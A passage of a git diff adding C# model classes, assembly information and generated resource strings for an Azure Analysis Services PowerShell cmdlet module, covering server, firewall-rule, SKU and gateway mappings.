b/internal/pleague/models/AnalysisServicesCmdletBase.cs @@ -0,0 +1,60 @@ +// ---------------------------------------------------------------------------------- +// +// Copyright Microsoft Corporation +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// http://www.apache.org/licenses/LICENSE-2.0 +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// ---------------------------------------------------------------------------------- + +using Microsoft.Azure.Commands.AnalysisServices.Properties; +using Microsoft.Azure.Commands.Common.Authentication; +using Microsoft.Azure.Commands.Common.Authentication.Abstractions; +using Microsoft.Azure.Commands.ResourceManager.Common; +using Microsoft.Rest; +using System; + +namespace Microsoft.Azure.Commands.AnalysisServices.Models +{ + /// + /// The base class for all Microsoft Azure Analysis Services Management cmdlets + /// + public abstract class AnalysisServicesCmdletBase : AzureRMCmdlet + { + private AnalysisServicesClient analysisServicesClient; + + /// + /// The filesystem request timeout in minutes, which is used for long running upload/download operations + /// + private const int filesystemRequestTimeoutInMinutes = 5; + public AnalysisServicesClient AnalysisServicesClient + { + get + { + if (analysisServicesClient == null) + { + analysisServicesClient = new AnalysisServicesClient(DefaultProfile.DefaultContext); + } + return analysisServicesClient; + } + + set { analysisServicesClient = value; } + } + + internal static TClient CreateAsClient(IAzureContext context, string endpoint, bool parameterizedBaseUri = false) where TClient : ServiceClient + { + if (context == null) + { + throw new ApplicationException(Resources.NoSubscriptionInContext); + } + + TClient client = AzureSession.Instance.ClientFactory.CreateArmClient(context, endpoint); + return client; + } + } +} \ No newline at end of file diff --git a/internal/pleague/models/AzureAnalysisServicesServer.cs b/internal/pleague/models/AzureAnalysisServicesServer.cs new file mode 100644 index 0000000..1d90316 --- /dev/null +++ b/internal/pleague/models/AzureAnalysisServicesServer.cs @@ -0,0 +1,120 @@ +// ---------------------------------------------------------------------------------- +// +// Copyright Microsoft Corporation +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// http://www.apache.org/licenses/LICENSE-2.0 +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// ---------------------------------------------------------------------------------- + +using System; +using Microsoft.Azure.Management.Analysis.Models; +using System.Collections.Generic; +using Microsoft.Azure.Management.Internal.Resources.Utilities.Models; + +namespace Microsoft.Azure.Commands.AnalysisServices.Models +{ + public class AzureAnalysisServicesServer + { + public List AsAdministrators { get; set; } + + public string State { get; private set; } + + public string ProvisioningState { get; private set; } + + public string Id { get; private set; } + + public string Name { get; set; } + + public string Type { get; private set; } + + public string Location { get; set; } + + public string ServerFullName { get; private set; } + + public string BackupBlobContainerUri { get; set; } + + public string ResourceGroupName { get; set; } + + public ServerSku Sku { get; set; } + + public System.Collections.Generic.IDictionary Tag { get; set; } + + public string DefaultConnectionMode { get; set; } + + public PsAzureAnalysisServicesFirewallConfig FirewallConfig { get; set; } + + public ServerGateway GatewayInfo { get; set; } + + internal static AzureAnalysisServicesServer FromAnalysisServicesServer(AnalysisServicesServer server) + { + if (server == null) + { + return null; + } + + PsAzureAnalysisServicesFirewallConfig config = null; + + if (server.IpV4FirewallSettings != null) + { + List rules = null; + bool enablePowerBIService = false; + if (server.IpV4FirewallSettings.FirewallRules != null) + { + rules = new List(); + foreach (var rule in server.IpV4FirewallSettings.FirewallRules) + { + rules.Add(new PsAzureAnalysisServicesFirewallRule(rule.FirewallRuleName, rule.RangeStart, rule.RangeEnd)); + } + } + + if (server.IpV4FirewallSettings.EnablePowerBIService != null) + { + enablePowerBIService = Convert.ToBoolean(server.IpV4FirewallSettings.EnablePowerBIService); + } + + config = new PsAzureAnalysisServicesFirewallConfig(enablePowerBIService, rules); + } + + ResourceIdentifier resourceIdentifier = new ResourceIdentifier(server.Id); + + return new AzureAnalysisServicesServer() + { + AsAdministrators = server.AsAdministrators == null + ? new List() + : new List(server.AsAdministrators.Members), + Location = server.Location, + Name = server.Name, + Type = server.Type, + State = server.State, + ProvisioningState = server.ProvisioningState, + Id = server.Id, + ServerFullName = server.ServerFullName, + Sku = server.Sku != null ? ServerSku.FromResourceSku(server.Sku) : new ServerSku(), + Tag = server.Tags != null ? new Dictionary(server.Tags) : new Dictionary(), + BackupBlobContainerUri = server.BackupBlobContainerUri == null ? String.Empty : server.BackupBlobContainerUri, + ResourceGroupName = resourceIdentifier.ResourceGroupName, + DefaultConnectionMode = server.QuerypoolConnectionMode.ToString(), + FirewallConfig = config, + GatewayInfo = server.GatewayDetails != null ? ServerGateway.FromResourceGateway(server.GatewayDetails) : null + }; + } + + internal static List FromAnalysisServicesServerCollection(List list) + { + if (list == null) + { + return null; + } + + var listAzureAnalysisServicesServer = new List(); + list.ForEach(server => listAzureAnalysisServicesServer.Add(FromAnalysisServicesServer(server))); + return listAzureAnalysisServicesServer; + } + } +} diff --git a/internal/pleague/models/PsAzureAnalysisServicesFirewallConfig.cs b/internal/pleague/models/PsAzureAnalysisServicesFirewallConfig.cs new file mode 100644 index 0000000..dc168bc --- /dev/null +++ b/internal/pleague/models/PsAzureAnalysisServicesFirewallConfig.cs @@ -0,0 +1,34 @@ +// ---------------------------------------------------------------------------------- +// +// Copyright Microsoft Corporation +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// http://www.apache.org/licenses/LICENSE-2.0 +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// ---------------------------------------------------------------------------------- + +using System; +using Microsoft.Azure.Management.Analysis.Models; +using System.Collections.Generic; +using Newtonsoft.Json; + +namespace Microsoft.Azure.Commands.AnalysisServices.Models +{ + public class PsAzureAnalysisServicesFirewallConfig + { + public bool EnablePowerBIService { get; set; } + + public List FirewallRules { get; set; } + + public PsAzureAnalysisServicesFirewallConfig(bool enablePowerBIService, List firewallRules) + { + EnablePowerBIService = enablePowerBIService; + FirewallRules = firewallRules; + } + } +} \ No newline at end of file diff --git a/internal/pleague/models/PsAzureAnalysisServicesFirewallRule.cs b/internal/pleague/models/PsAzureAnalysisServicesFirewallRule.cs new file mode 100644 index 0000000..1cdeb19 --- /dev/null +++ b/internal/pleague/models/PsAzureAnalysisServicesFirewallRule.cs @@ -0,0 +1,37 @@ +// ---------------------------------------------------------------------------------- +// +// Copyright Microsoft Corporation +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// http://www.apache.org/licenses/LICENSE-2.0 +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// ---------------------------------------------------------------------------------- + +using System; +using Microsoft.Azure.Management.Analysis.Models; +using System.Collections.Generic; +using Newtonsoft.Json; + +namespace Microsoft.Azure.Commands.AnalysisServices.Models +{ + public class PsAzureAnalysisServicesFirewallRule + { + public string FirewallRuleName { get; set; } + + public string RangeStart { get; set; } + + public string RangeEnd { get; set; } + + public PsAzureAnalysisServicesFirewallRule(string firewallRuleName, string rangeStart, string rangeEnd) + { + FirewallRuleName = firewallRuleName; + RangeStart = rangeStart; + RangeEnd = rangeEnd; + } + } +} diff --git a/internal/pleague/models/ServerGateway.cs b/internal/pleague/models/ServerGateway.cs new file mode 100644 index 0000000..3a20537 --- /dev/null +++ b/internal/pleague/models/ServerGateway.cs @@ -0,0 +1,28 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using Microsoft.Azure.Management.Analysis.Models; + +namespace Microsoft.Azure.Commands.AnalysisServices.Models +{ + public class ServerGateway + { + public string GatewayResourceId { get; set; } + + public string GatewayObjectId { get; set; } + + public string DmtsClusterUri { get; set; } + + internal static ServerGateway FromResourceGateway(GatewayDetails resourceGateway) + { + return new ServerGateway() + { + GatewayResourceId = resourceGateway.GatewayResourceId, + GatewayObjectId = resourceGateway.GatewayObjectId != null ? resourceGateway.GatewayObjectId : null, + DmtsClusterUri = resourceGateway.DmtsClusterUri != null ? resourceGateway.DmtsClusterUri : null + }; + } + } +} diff --git a/internal/pleague/models/ServerSku.cs b/internal/pleague/models/ServerSku.cs new file mode 100644 index 0000000..3e722fa --- /dev/null +++ b/internal/pleague/models/ServerSku.cs @@ -0,0 +1,28 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using Microsoft.Azure.Management.Analysis.Models; + +namespace Microsoft.Azure.Commands.AnalysisServices.Models +{ + public class ServerSku + { + public string Name { get; set; } + + public string Tier { get; set; } + + public int Capacity { get; set; } + + internal static ServerSku FromResourceSku(ResourceSku resourceSku) + { + return new ServerSku() + { + Name = resourceSku.Name, + Tier = resourceSku.Tier, + Capacity = resourceSku.Capacity == null ? 1 : resourceSku.Capacity.Value + }; + } + } +} diff --git a/internal/pleague/models/StringOrByteArrayInstance.cs b/internal/pleague/models/StringOrByteArrayInstance.cs new file mode 100644 index 0000000..ee9fe82 --- /dev/null +++ b/internal/pleague/models/StringOrByteArrayInstance.cs @@ -0,0 +1,36 @@ +// ---------------------------------------------------------------------------------- +// +// Copyright Microsoft Corporation +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// http://www.apache.org/licenses/LICENSE-2.0 +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// ---------------------------------------------------------------------------------- + +using System.Text; + +namespace Microsoft.Azure.Commands.AnalysisServices.Models +{ + /// + /// The object that is passed in and parsed for file contents. + /// + public class StringOrByteArrayInstance + { + public StringOrByteArrayInstance(byte[] contents) + { + Contents = contents; + } + + public byte[] Contents { get; set; } + + public static StringOrByteArrayInstance Parse(string contents) + { + return new StringOrByteArrayInstance(Encoding.UTF8.GetBytes(contents)); + } + } +} \ No newline at end of file diff --git a/internal/pleague/properties/AssemblyInfo.cs b/internal/pleague/properties/AssemblyInfo.cs new file mode 100644 index 0000000..3faa5e0 --- /dev/null +++ b/internal/pleague/properties/AssemblyInfo.cs @@ -0,0 +1,38 @@ +using System.Reflection; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. + +[assembly: AssemblyTitle("Commands.AnalysisServices")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("Commands.AnalysisServices")] +[assembly: AssemblyCopyright("Copyright © 2016")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. + +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM + +[assembly: Guid("9688e9d1-7c21-41b7-86de-6056fb60a9f8")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: + +[assembly: AssemblyVersion("1.1.6")] +[assembly: AssemblyFileVersion("1.1.6")] diff --git a/internal/pleague/properties/Resources.Designer.cs b/internal/pleague/properties/Resources.Designer.cs new file mode 100644 index 0000000..c8a4963 --- /dev/null +++ b/internal/pleague/properties/Resources.Designer.cs @@ -0,0 +1,234 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace Microsoft.Azure.Commands.AnalysisServices.Properties { + using System; + + + /// + /// A strongly-typed resource class, for looking up localized strings, etc. + /// + // This class was auto-generated by the StronglyTypedResourceBuilder + // class via a tool like ResGen or Visual Studio. + // To add or remove a member, edit your .ResX file then rerun ResGen + // with the /str option, or rebuild your VS project. + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0")] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + internal class Resources { + + private static global::System.Resources.ResourceManager resourceMan; + + private static global::System.Globalization.CultureInfo resourceCulture; + + [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] + internal Resources() { + } + + /// + /// Returns the cached ResourceManager instance used by this class. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Resources.ResourceManager ResourceManager { + get { + if (object.ReferenceEquals(resourceMan, null)) { + global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Microsoft.Azure.Commands.AnalysisServices.Properties.Resources", typeof(Resources).Assembly); + resourceMan = temp; + } + return resourceMan; + } + } + + /// + /// Overrides the current thread's CurrentUICulture property for all + /// resource lookups using this strongly typed resource class. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Globalization.CultureInfo Culture { + get { + return resourceCulture; + } + set { + resourceCulture = value; + } + } + + /// + /// Looks up a localized string similar to Analysis Services server with name '{0}' already exists.. + /// + internal static string AnalysisServerExists { + get { + return ResourceManager.GetString("AnalysisServerExists", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to Create Analysis Services Server. + /// + internal static string CreateNewAnalysisServicesServer { + get { + return ResourceManager.GetString("CreateNewAnalysisServicesServer", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to "default ". + /// + internal static string DefaultAclWord { + get { + return ResourceManager.GetString("DefaultAclWord", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to Could not find server: '{0}' in any resource group in the currently selected subscription: {1}. Please ensure this server exists and that the current user has access to it.. + /// + internal static string FailedToDiscoverResourceGroup { + get { + return ResourceManager.GetString("FailedToDiscoverResourceGroup", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to No default subscription has been designated. Use Select-AzSubscription -Default <subscriptionName> to set the default subscription.. + /// + internal static string InvalidDefaultSubscription { + get { + return ResourceManager.GetString("InvalidDefaultSubscription", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to Invalid Sku: '{0}'. Available Skus are: '{1}'. + /// + internal static string InvalidSku { + get { + return ResourceManager.GetString("InvalidSku", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to AnalysisServices server operation failed with the following error code: {0} and message: {1}. + /// + internal static string LongRunningOperationFailed { + get { + return ResourceManager.GetString("LongRunningOperationFailed", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to No subscription found in the context. Please ensure that the credentials you provided are authorized to access an Azure subscription, then run Login-AzAccount to login.. + /// + internal static string NoSubscriptionInContext { + get { + return ResourceManager.GetString("NoSubscriptionInContext", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to Are you sure you want to remove Analysis Services server: '{0}'?. + /// + internal static string RemoveAnalysisServicesServer { + get { + return ResourceManager.GetString("RemoveAnalysisServicesServer", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to Remove Analysis Services Server. + /// + internal static string RemovingAnalysisServicesServer { + get { + return ResourceManager.GetString("RemovingAnalysisServicesServer", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to Are you sure you want to resume Analysis Services server: '{0}'?. + /// + internal static string ResumeAnalysisServicesServer { + get { + return ResourceManager.GetString("ResumeAnalysisServicesServer", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to Resume Analysis Services Server. + /// + internal static string ResumingAnalysisServicesServer { + get { + return ResourceManager.GetString("ResumingAnalysisServicesServer", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to The script file at path '{0}' does not exist or the current user does not have permission to it. Please ensure the path exists and is accessible.. + /// + internal static string ScriptFilePathDoesNotExist { + get { + return ResourceManager.GetString("ScriptFilePathDoesNotExist", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to Cannot perform the requested operation because the specified server '{0}' does not exist.. + /// + internal static string ServerDoesNotExist { + get { + return ResourceManager.GetString("ServerDoesNotExist", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to Are you sure you want to suspend Analysis Services server: '{0}'?. + /// + internal static string SuspendAnalysisServicesServer { + get { + return ResourceManager.GetString("SuspendAnalysisServicesServer", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to Suspend Analysis Services Server. + /// + internal static string SuspendingAnalysisServicesServer { + get { + return ResourceManager.GetString("SuspendingAnalysisServicesServer", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to The operation is being cancelled, please wait.... + /// + internal static string TaskCancelledMessage { + get { + return ResourceManager.GetString("TaskCancelledMessage", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to Are you sure you want to update Analysis Services server: '{0}'?. + /// + internal static string UpdateAnalysisServicesServer { + get { + return ResourceManager.GetString("UpdateAnalysisServicesServer", resourceCulture); + } + } + + /// + /// Looks up a localized string similar to Update Analysis Services Server. + /// + internal static string UpdatingAnalysisServicesServer { + get { + return ResourceManager.GetString("UpdatingAnalysisServicesServer", resourceCulture); + } + } + } +} diff --git a/internal/pleague/properties/Resources.resx b/internal/pleague/properties/Resources.resx new file mode 100644 index 0000000..fbe217c --- /dev/null +++ b/internal/pleague/properties/Resources.resx @@ -0,0 +1,177 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + Analysis Services server with name '{0}' already exists. + + + Create Analysis Services Server + + + "default " + + + Could not find server: '{0}' in any resource group in the currently selected subscription: {1}. Please ensure this server exists and that the current user has access to it. + + + No default subscription has been designated. Use Select-AzSubscription -Default <subscriptionName> to set the default subscription. + + + Invalid Sku: '{0}'. Available Skus are: '{1}' + + + AnalysisServices server operation failed with the following error code: {0} and message: {1} + + + No subscription found in the context. Please ensure that the credentials you provided are authorized to access an Azure subscription, then run Connect-AzAccount to login. + + + Are you sure you want to remove Analysis Services server: '{0}'? + + + Remove Analysis Services Server + + + Are you sure you want to resume Analysis Services server: '{0}'? + + + Resume Analysis Services Server + + + The script file at path '{0}' does not exist or the current user does not have permission to it. Please ensure the path exists and is accessible. + + + Cannot perform the requested operation because the specified server '{0}' does not exist. + + + Are you sure you want to suspend Analysis Services server: '{0}'? + + + Suspend Analysis Services Server + + + The operation is being cancelled, please wait... + + + Are you sure you want to update Analysis Services server: '{0}'? + + + Update Analysis Services Server + + \ No newline at end of file